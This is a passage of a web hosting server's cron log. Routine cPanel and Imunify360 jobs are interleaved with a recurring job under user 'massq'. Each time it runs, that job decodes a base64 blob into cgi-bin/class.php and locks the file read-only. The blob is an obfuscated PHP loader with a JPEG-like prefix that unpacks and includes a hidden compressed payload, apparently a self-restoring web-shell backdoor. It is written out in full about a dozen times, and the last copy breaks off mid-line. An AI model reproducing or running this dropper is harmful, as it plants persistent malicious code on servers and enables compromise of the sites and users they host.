yLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:04:01 server CROND[10127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:04:01 server CROND[10128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:04:01 server CROND[10129]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:05:01 server CROND[10609]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 04:05:01 server CROND[10611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:05:01 server CROND[10619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:05:01 server CROND[10623]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 04:05:01 server CROND[10622]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 04:05:01 server CROND[10620]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 04:05:01 server CROND[10617]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 04:05:01 server CROND[10618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:06:01 server CROND[11460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:06:01 server CROND[11461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:06:01 server CROND[11462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:07:01 server CROND[11832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:07:01 server CROND[11833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:07:01 server CROND[11834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:08:01 server CROND[12205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:08:01 server CROND[12206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:08:01 server CROND[12207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:09:01 server CROND[12602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:09:01 server CROND[12603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:09:01 server CROND[12605]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:09:01 server CROND[12604]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 13 04:10:01 server CROND[13093]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 04:10:01 server CROND[13095]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 04:10:01 server CROND[13096]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 04:10:01 server CROND[13099]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 04:10:01 server CROND[13097]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:10:01 server CROND[13100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:10:01 server CROND[13098]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 04:10:01 server CROND[13101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:11:01 server CROND[13952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:11:01 server CROND[13954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:11:01 server CROND[13960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:12:01 server CROND[14327]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 04:12:01 server CROND[14328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:12:01 server CROND[14329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:12:01 server CROND[14330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:13:01 server CROND[14697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:13:01 server CROND[14699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:13:01 server CROND[14700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:14:01 server CROND[15073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:14:01 server CROND[15074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:14:01 server CROND[15075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:15:01 server CROND[15541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:15:01 server CROND[15544]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 13 04:15:01 server CROND[15543]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 04:15:01 server CROND[15546]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 04:15:01 server CROND[15545]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 13 04:15:01 server CROND[15548]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 04:15:01 server CROND[15547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6